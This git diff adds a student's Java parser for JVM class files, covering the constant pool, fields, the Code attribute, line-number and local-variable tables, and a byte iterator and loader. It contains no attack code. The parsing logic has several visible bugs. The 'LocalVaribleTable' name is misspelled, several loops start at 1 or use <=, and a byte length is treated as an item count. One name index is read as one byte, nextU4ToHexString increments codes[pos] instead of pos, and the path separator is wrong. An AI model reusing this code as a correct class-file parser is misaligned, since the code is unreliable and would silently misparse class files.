diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/Test.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/Test.java
new file mode 100644
index 0000000000..8dcb8f3cf2
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/Test.java
@@ -0,0 +1,7 @@
+package main.coding_170423.jvm;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class Test {
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/AttributeInfo.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..5c7e7dbad0
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/AttributeInfo.java
@@ -0,0 +1,21 @@
+package main.coding_170423.jvm.attr;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public abstract  class AttributeInfo {
+    public static final String CODE = "Code";
+    public static final String CONST_VALUE = "ConstantValue";
+    public static final String EXCPTIONS = "Exceptions";
+    public static final String LINE_NUM_TABLE = "LineNumberTable";
+    public static final String LOCAL_VAR_TABLE = "LocalVaribleTable";
+    public static final String STACK_MAP_TABLE = "StackMapTable";
+
+    int attrNameIndex;
+    int attrLen;
+
+    public AttributeInfo(int attrNameIndex,int attrLen){
+        this.attrNameIndex = attrNameIndex;
+        this.attrLen = attrLen;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/CodeAttr.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..6afddedd42
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/CodeAttr.java
@@ -0,0 +1,93 @@
+package main.coding_170423.jvm.attr;
+
+import main.coding_170423.jvm.clz.ClassFile;
+import main.coding_170423.jvm.constant.ConstantPool;
+import main.coding_170423.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class CodeAttr extends AttributeInfo {
+    private int maxStack;
+    private int maxLocals;
+    private int codeLen;
+    private String code;
+
+    public String getCode() {
+        return code;
+    }
+
+    private LineNumberTable lineNumberTable;
+    private LocalVariableTable localVariableTable;
+    private StackMapTable stackMapTable;
+
+    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code) {
+        super(attrNameIndex, attrLen);
+        this.maxStack = maxStack;
+        this.maxLocals = maxLocals;
+        this.codeLen = codeLen;
+        this.code = code;
+    }
+
+    public void setLineNumberTable(LineNumberTable table) {
+        this.lineNumberTable = table;
+    }
+
+    public void setLocalVariableTable(LocalVariableTable table) {
+        this.localVariableTable = table;
+    }
+
+    public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iterator) {
+        int attrNameIndex = iterator.nextU2ToInt();
+        int attrLen = iterator.nextU4ToInt();
+        int maxStack = iterator.nextU2ToInt();
+        int maxLocals = iterator.nextU2ToInt();
+        int codeLen = iterator.nextU4ToInt();
+
+        String code = iterator.nextUxToHexString(codeLen);
+
+        System.out.println(code);
+
+        CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code);
+        int exceptionTableLen = iterator.nextU2ToInt();
+        //deal with exception
+        if (exceptionTableLen > 0) {
+            String exceptionTable = iterator.nextUxToHexString(exceptionTableLen);
+            System.out.println("Encountered exception table:just ignore " + exceptionTable);
+        }
+        int subAttrCount = iterator.nextU2ToInt();
+        for (int i = 1; i < subAttrCount; i++) {
+            int subAttrIndex = iterator.nextU2ToInt();
+            String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
+
+            iterator.back(2);
+
+            if (AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)) {
+                LineNumberTable t = LineNumberTable.parse(iterator);
+                codeAttr.setLineNumberTable(t);
+            } else if (AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)) {
+                LocalVariableTable t = LocalVariableTable.parse(iterator);
+                codeAttr.setLocalVariableTable(t);
+            } else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)) {
+                StackMapTable t = StackMapTable.parse(iterator);
+                codeAttr.setStackMapTable(t);
+            } else {
+                throw new RuntimeException("Need code to process " + subAttrName);
+            }
+        }
+        return codeAttr;
+    }
+
+    public String toString(ConstantPool pool) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("Code:").append(code).append("\n");
+        sb.append("\n");
+        sb.append(this.lineNumberTable.toString());
+        sb.append(this.localVariableTable.toString(pool));
+        return sb.toString();
+    }
+
+    public void setStackMapTable(StackMapTable stackMapTable) {
+        this.stackMapTable = stackMapTable;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/LineNumberTable.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..79c96934bc
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/LineNumberTable.java
@@ -0,0 +1,68 @@
+package main.coding_170423.jvm.attr;
+
+import main.coding_170423.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class LineNumberTable extends AttributeInfo {
+    List<LineNumberItem> items = new ArrayList<>();
+
+    private static class LineNumberItem {
+        int startPC;
+        int lineNum;
+
+        public int getStartPC() {
+            return startPC;
+        }
+
+        public void setStartPC(int startPC) {
+            this.startPC = startPC;
+        }
+
+        public int getLineNum() {
+            return lineNum;
+        }
+
+        public void setLineNum(int lineNum) {
+            this.lineNum = lineNum;
+        }
+    }
+
+    public void addLineNumberItem(LineNumberItem item) {
+        this.items.add(item);
+    }
+
+    public LineNumberTable(int attrNameIndex, int attrLen) {
+        super(attrNameIndex, attrLen);
+    }
+
+    public static LineNumberTable parse(ByteCodeIterator iterator) {
+        int index = iterator.nextU2ToInt();
+        int len = iterator.nextU4ToInt();
+
+        LineNumberTable table = new LineNumberTable(index, len);
+        for (int i = 1; i < len; i++) {
+            LineNumberItem item = new LineNumberItem();
+            item.setStartPC(iterator.nextU2ToInt());
+            item.setLineNum(iterator.nextU2ToInt());
+            table.addLineNumberItem(item);
+        }
+        return table;
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder sb = new StringBuilder();
+        sb.append("Line Number Table:\n");
+        for(LineNumberItem item:items){
+            sb.append("startPC:"+item.getStartPC()).append(",");
+            sb.append("LineNum:"+item.getLineNum()).append("\n");
+        }
+        sb.append("\n");
+        return  sb.toString();
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/LocalVariableItem.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..bf9bc16432
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,52 @@
+package main.coding_170423.jvm.attr;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class LocalVariableItem {
+    private int startPC;
+    private int length;
+    private int nameIndex;
+    private int descIndex;
+    private int index;
+
+    public int getStartPC() {
+        return startPC;
+    }
+
+    public void setStartPC(int startPC) {
+        this.startPC = startPC;
+    }
+
+    public int getLength() {
+        return length;
+    }
+
+    public void setLength(int length) {
+        this.length = length;
+    }
+
+    public int getNameIndex() {
+        return nameIndex;
+    }
+
+    public void setNameIndex(int nameIndex) {
+        this.nameIndex = nameIndex;
+    }
+
+    public int getDescIndex() {
+        return descIndex;
+    }
+
+    public void setDescIndex(int descIndex) {
+        this.descIndex = descIndex;
+    }
+
+    public int getIndex() {
+        return index;
+    }
+
+    public void setIndex(int index) {
+        this.index = index;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/LocalVariableTable.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..72de32aad5
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,50 @@
+package main.coding_170423.jvm.attr;
+
+import main.coding_170423.jvm.constant.ConstantPool;
+import main.coding_170423.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class LocalVariableTable extends AttributeInfo {
+    List<LocalVariableItem> items = new ArrayList<>();
+    public LocalVariableTable(int attrNameIndex,int attrLen){
+        super(attrNameIndex,attrLen);
+    }
+    public void addLocalVariableItem(LocalVariableItem item){
+        this.items.add(item);
+    }
+    public static LocalVariableTable parse(ByteCodeIterator iterator){
+        int index = iterator.nextU1ToInt();
+        int len = iterator.nextU4ToInt();
+        LocalVariableTable table = new LocalVariableTable(index,len);
+
+        int itemLen = iterator.nextU2ToInt();
+        for(int i=0;i<=itemLen;i++){
+            LocalVariableItem item =new LocalVariableItem();
+            item.setStartPC(iterator.nextU2ToInt());
+            item.setLength(iterator.nextU2ToInt());
+            item.setNameIndex(iterator.nextU2ToInt());
+            item.setDescIndex(iterator.nextU2ToInt());
+            item.setIndex(iterator.nextU2ToInt());
+            table.addLocalVariableItem(item);
+        }
+        return table;
+    }
+
+    public String toString(ConstantPool pool){
+        StringBuffer buffer = new StringBuffer();
+        buffer.append("Local variable table:\n");
+        for(LocalVariableItem item:items){
+            buffer.append("startPC:"+item.getStartPC()).append(",");
+            buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+            buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+            buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+        }
+        buffer.append("\n");
+        return buffer.toString();
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/StackMapTable.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..5db41e5a47
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/StackMapTable.java
@@ -0,0 +1,23 @@
+package main.coding_170423.jvm.attr;
+
+import main.coding_170423.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class StackMapTable extends AttributeInfo {
+    private String originalCode;
+
+    public StackMapTable(int attrNameIndex,int attrLen){
+        super(attrNameIndex,attrLen);
+    }
+    public static StackMapTable parse(ByteCodeIterator iterator){
+        int index = iterator.nextU2ToInt();
+        int len = iterator.nextU4ToInt();
+        StackMapTable t = new StackMapTable(index,len);
+        return t;
+    }
+    private void setOriginalCode(String code){
+        this.originalCode =code;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/clz/AccessFlag.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..bc010b3503
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/clz/AccessFlag.java
@@ -0,0 +1,28 @@
+package main.coding_170423.jvm.clz;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class AccessFlag {
+    private int flagValue;
+
+    public AccessFlag(int value) {
+        this.flagValue = value;
+    }
+
+    public int getFlagValue() {
+        return flagValue;
+    }
+
+    public void setFlagValue(int flag) {
+        this.flagValue = flag;
+    }
+
+    public boolean isPublicClass() {
+        return (this.flagValue & 0x0001) != 0;
+    }
+
+    public boolean isFinalClass() {
+        return (this.flagValue & 0x0010) != 0;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/clz/ClassFile.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..a8f944ac9e
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/clz/ClassFile.java
@@ -0,0 +1,92 @@
+package main.coding_170423.jvm.clz;
+
+import main.coding_170423.jvm.constant.ClassInfo;
+import main.coding_170423.jvm.constant.ConstantPool;
+import main.coding_170423.jvm.field.Field;
+import main.coding_170423.jvm.method.Method;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ClassFile {
+    private int minorVersion;
+    private int majorVersion;
+
+    private ConstantPool pool;
+    private AccessFlag accessFlag;
+    private ClassIndex clzIndex;
+    private List<Field> fields = new ArrayList<>();
+    private List<Method> methods = new ArrayList<>();
+
+    public ClassIndex getClzIndex(){
+        return clzIndex;
+    }
+
+    public AccessFlag getAccessFlag(){
+        return accessFlag;
+    }
+
+    public void setAccessFlag(AccessFlag accessFlag){
+        this.accessFlag = accessFlag;
+    }
+    public ConstantPool getConstantPool(){
+        return pool;
+    }
+
+    public int getMinorVersion(){
+        return minorVersion;
+    }
+
+    public void setMinorVersion(int minorVersion){
+        this.minorVersion = minorVersion;
+    }
+    public int getMajorVersion(){
+        return majorVersion;
+    }
+    public void setMajorVersion(int majorVersion){
+        this.majorVersion = majorVersion;
+    }
+
+    public void setConstantPool(ConstantPool pool){
+        this.pool = pool;
+    }
+    public void setClassIndex(ClassIndex clzIndex){
+        this.clzIndex = clzIndex;
+    }
+
+    public void addField(Field f){
+        this.fields.add(f);
+    }
+    public List<Field> getFields(){
+        return this.fields;
+    }
+
+    public void addMethod(Method m){
+        this.methods.add(m);
+    }
+
+    public List<Method> getMethods(){
+        return methods;
+    }
+
+    public void print(){
+        if(this.accessFlag.isPublicClass()){
+            System.out.println("Access flag : public");
+        }
+        System.out.println("Class Name:"+getClassName());
+        System.out.println("Super Class Name:"+getSuperClassName());
+    }
+    public String getClassName(){
+        int thisClassIndex = this.clzIndex.getThisClassIndex();
+        ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+        return thisClass.getClassName();
+    }
+
+    public String getSuperClassName(){
+        ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.getClzIndex().getSuperClassIndex());
+        return superClass.getClassName();
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/clz/ClassIndex.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..6f455e0af4
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/clz/ClassIndex.java
@@ -0,0 +1,25 @@
+package main.coding_170423.jvm.clz;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ClassIndex {
+    private int thisClassIndex;
+    private int superClassIndex;
+
+    public void setThisClassIndex(int thisClassIndex) {
+        this.thisClassIndex = thisClassIndex;
+    }
+
+    public void setSuperClassIndex(int superClassIndex) {
+        this.superClassIndex = superClassIndex;
+    }
+
+    public int getThisClassIndex() {
+        return thisClassIndex;
+    }
+
+    public int getSuperClassIndex() {
+        return superClassIndex;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/ClassInfo.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..a476e01205
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/ClassInfo.java
@@ -0,0 +1,32 @@
+package main.coding_170423.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ClassInfo extends ConstantInfo {
+    private int type = ConstantInfo.CLASS_INFO;
+    private int utf8Index;
+
+    public ClassInfo(ConstantPool pool){
+        super(pool);
+    }
+
+    public int getUtf8Index(){
+        return utf8Index;
+    }
+
+    public void setUtf8Index(int utf8Index){
+        this.utf8Index = utf8Index;
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+
+    public String getClassName(){
+        int index = getUtf8Index();
+        UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+        return utf8Info.getValue();
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/ConstantInfo.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..d6a4322c16
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/ConstantInfo.java
@@ -0,0 +1,33 @@
+package main.coding_170423.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public abstract class ConstantInfo {
+    public static final int UTF8_INFO = 1;
+    public static final int FLOAT_INFO = 4;
+    public static final int CLASS_INFO = 7;
+    public static final int STRING_INFO = 8;
+    public static final int FIELD_INFO = 9;
+    public static final int METHOD_INFO = 10;
+    public static final int NAME_AND_TYPE_INFO = 12;
+    protected ConstantPool constantPool;
+
+    public ConstantInfo() {
+
+    }
+
+    public ConstantInfo(ConstantPool pool) {
+        this.constantPool = pool;
+    }
+
+    public abstract int getType();
+
+    public ConstantPool getConstantPool() {
+        return constantPool;
+    }
+
+    public ConstantInfo getConstantInfo(int index) {
+        return this.constantPool.getConstantInfo(index);
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/ConstantPool.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..1cd269f915
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/ConstantPool.java
@@ -0,0 +1,26 @@
+package main.coding_170423.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ConstantPool {
+    private List<ConstantInfo> constantInfos = new ArrayList<>();
+
+    public ConstantPool(){}
+
+    public void addConstantInfo(ConstantInfo constantInfo){
+        this.constantInfos.add(constantInfo);
+    }
+    public ConstantInfo getConstantInfo(int index){
+        return  this.constantInfos.get(index);
+    }
+    public String getUTF8String(int index){
+        return ((UTF8Info)this.constantInfos.get(index)).getValue();
+    }
+    public Object getSizes(){
+        return this.constantInfos.size()-1;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/FieldRefInfo.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..5770ed8d56
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,57 @@
+package main.coding_170423.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class FieldRefInfo extends ConstantInfo {
+    private int type = ConstantInfo.FIELD_INFO;
+    private int classInfoIndex;
+    private int nameAndTypeIndex;
+
+    public FieldRefInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public void setClassInfoIndex(int classInfoIndex) {
+        this.classInfoIndex = classInfoIndex;
+    }
+
+    public void setNameAndTypeIndex(int nameAndTypeIndex) {
+        this.nameAndTypeIndex = nameAndTypeIndex;
+    }
+
+    public int getClassInfoIndex() {
+        return classInfoIndex;
+    }
+
+    public int getNameAndTypeIndex() {
+        return nameAndTypeIndex;
+    }
+
+    @Override
+    public String toString() {
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        return getClassName() + ":" + typeInfo.getName() + ":" + typeInfo.getTypeInfo();
+    }
+
+    public String getClassName() {
+        ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+        UTF8Info utf8Info = (UTF8Info) this.getConstantInfo(classInfo.getUtf8Index());
+        return utf8Info.getValue();
+    }
+
+    public String getFieldName() {
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getName();
+    }
+
+    public String getFieldType() {
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getTypeInfo();
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/MethodRefInfo.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..6eb445d9b9
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,59 @@
+package main.coding_170423.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class MethodRefInfo extends ConstantInfo {
+    private int type = ConstantInfo.METHOD_INFO;
+
+    private int classInfoIndex ;
+    private int nameAndTypeIndex;
+
+    public MethodRefInfo(ConstantPool pool){
+        super(pool);
+    }
+
+    public int getClassInfoIndex() {
+        return classInfoIndex;
+    }
+
+    public void setClassInfoIndex(int classInfoIndex) {
+        this.classInfoIndex = classInfoIndex;
+    }
+
+    public int getNameAndTypeIndex() {
+        return nameAndTypeIndex;
+    }
+
+    public void setNameAndTypeIndex(int nameAndTypeIndex) {
+        this.nameAndTypeIndex = nameAndTypeIndex;
+    }
+
+    @Override
+    public String toString() {
+        return getClassName()+":"+this.getMethodName()+":"+this.getParamAndReturnType();
+    }
+
+    public String getClassName(){
+        ConstantPool pool = this.getConstantPool();
+        ClassInfo clzInfo =(ClassInfo) pool.getConstantInfo(this.getClassInfoIndex());
+        return clzInfo.getClassName();
+    }
+
+    public String getMethodName(){
+        ConstantPool pool = this.getConstantPool();
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getName();
+    }
+
+    public String getParamAndReturnType(){
+        ConstantPool pool = this.getConstantPool();
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+        return  typeInfo.getTypeInfo();
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/NameAndTypeInfo.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..5e044a6612
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,53 @@
+package main.coding_170423.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class NameAndTypeInfo extends ConstantInfo {
+    public int type = ConstantInfo.NAME_AND_TYPE_INFO;
+
+    private int indexA;
+    private int indexB;
+
+    public NameAndTypeInfo(ConstantPool pool){
+        super(pool);
+    }
+
+    public int getIndexA() {
+        return indexA;
+    }
+
+    public int getIndexB() {
+        return indexB;
+    }
+
+    public void setIndexA(int indexA) {
+        this.indexA = indexA;
+    }
+
+    public void setIndexB(int indexB) {
+        this.indexB = indexB;
+    }
+
+    public String getName(){
+        ConstantPool pool = this.getConstantPool();
+        UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(indexA);
+        return utf8Info.getValue();
+    }
+
+    public String getTypeInfo(){
+        ConstantPool pool = this.getConstantPool();
+        UTF8Info utf8_info =(UTF8Info) pool.getConstantInfo(indexB);
+        return utf8_info.getValue();
+    }
+
+    @Override
+    public String toString() {
+        return "("+getName()+","+getTypeInfo()+")";
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/NullConstantInfo.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..1b91bd4269
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,16 @@
+package main.coding_170423.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class NullConstantInfo extends ConstantInfo {
+
+    public NullConstantInfo() {
+
+    }
+
+    @Override
+    public int getType() {
+        return -1;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/StringInfo.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..1b163ca940
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/StringInfo.java
@@ -0,0 +1,31 @@
+package main.coding_170423.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class StringInfo extends ConstantInfo {
+    private int type = ConstantInfo.STRING_INFO;
+    private int index;
+
+    public StringInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getIndex() {
+        return index;
+    }
+
+    public void setIndex(int index) {
+        this.index = index;
+    }
+
+    @Override
+    public String toString() {
+        return this.getConstantPool().getUTF8String(index);
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/UTF8Info.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..05e2427a5c
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/UTF8Info.java
@@ -0,0 +1,40 @@
+package main.coding_170423.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class UTF8Info extends ConstantInfo {
+    private int type = ConstantInfo.UTF8_INFO;
+    private int length;
+    private String value;
+
+    public UTF8Info(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getLength() {
+        return length;
+    }
+
+    public void setLength(int length) {
+        this.length = length;
+    }
+
+    public String getValue() {
+        return value;
+    }
+
+    public void setValue(String value) {
+        this.value = value;
+    }
+
+    @Override
+    public String toString() {
+        return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value + "]";
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/field/Field.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/field/Field.java
new file mode 100644
index 0000000000..1d3b258374
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/field/Field.java
@@ -0,0 +1,44 @@
+package main.coding_170423.jvm.field;
+
+import main.coding_170423.jvm.constant.ConstantPool;
+import main.coding_170423.jvm.constant.UTF8Info;
+import main.coding_170423.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class Field {
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptionIndex;
+
+    private ConstantPool pool;
+
+    public Field(int accessFlag,int nameIndex,int descriptionIndex,ConstantPool pool){
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptionIndex = descriptionIndex;
+        this.pool = pool;
+    }
+
+    @Override
+    public String toString() {
+        String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+
+        String desc = ((UTF8Info)pool.getConstantInfo(this.descriptionIndex)).getValue();
+        return name+":"+desc;
+    }
+
+    public static Field parse(ConstantPool pool, ByteCodeIterator iterator){
+        int accessFlag = iterator.nextU2ToInt();
+        int nameIndex = iterator.nextU2ToInt();
+        int descIndex = iterator.nextU2ToInt();
+        int attributeCount = iterator.nextU2ToInt();
+        Field f = new Field(accessFlag,nameIndex,descIndex,pool);
+
+        if(attributeCount>0){
+            throw  new RuntimeException("Field attribute has not implemented");
+        }
+        return f;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/loader/ByteCodeIterator.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..8566c06b4d
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,54 @@
+package main.coding_170423.jvm.loader;
+
+import main.coding_170423.jvm.util.Util;
+
+import java.util.Arrays;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ByteCodeIterator {
+    byte[] codes;
+    int pos = 0;
+
+    ByteCodeIterator(byte[] codes){
+        this.codes = codes;
+    }
+    public byte[] getBytes(int len){
+        if(pos+len>=codes.length){
+            throw new ArrayIndexOutOfBoundsException();
+        }
+        byte[] data = Arrays.copyOfRange(codes,pos,pos+len);
+        pos+=len;
+        return data;
+    }
+
+    public int nextU1ToInt(){
+        return Util.byteToInt(new byte[]{codes[pos++]});
+    }
+
+    public int nextU2ToInt(){
+        return Util.byteToInt(new byte[]{codes[pos++],codes[pos++]});
+    }
+
+    public int nextU4ToInt(){
+        return Util.byteToInt(new byte[]{codes[pos++],codes[pos++],codes[pos++],codes[pos++]});
+    }
+
+    public String nextU4ToHexString(){
+        return Util.byteToHexString(new byte[]{codes[pos++],codes[pos++],codes[pos]++,codes[pos++]});
+    }
+
+    public String nextUxToHexString(int len){
+        byte[] temp = new byte[len];
+
+        for(int i=0;i<len;i++){
+            temp[i] = codes[pos++];
+        }
+        return Util.byteToHexString(temp).toLowerCase();
+    }
+
+    public void back(int n){
+        this.pos-=n;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/loader/ClassFileLoader.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..b5413541ae
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,91 @@
+package main.coding_170423.jvm.loader;
+
+import main.coding_170423.jvm.clz.ClassFile;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ClassFileLoader {
+    private List<String> clzPaths = new ArrayList<>();
+    public byte[] readBinaryCode(String className){
+        className = className.replace('.', File.pathSeparatorChar) +".class";
+        for (String path:this.clzPaths){
+            String clzFileName = path + File.separatorChar + className;
+            byte[] codes = loadClassFile(clzFileName);
+            if(codes!=null){
+                return codes;
+            }
+        }
+        return null;
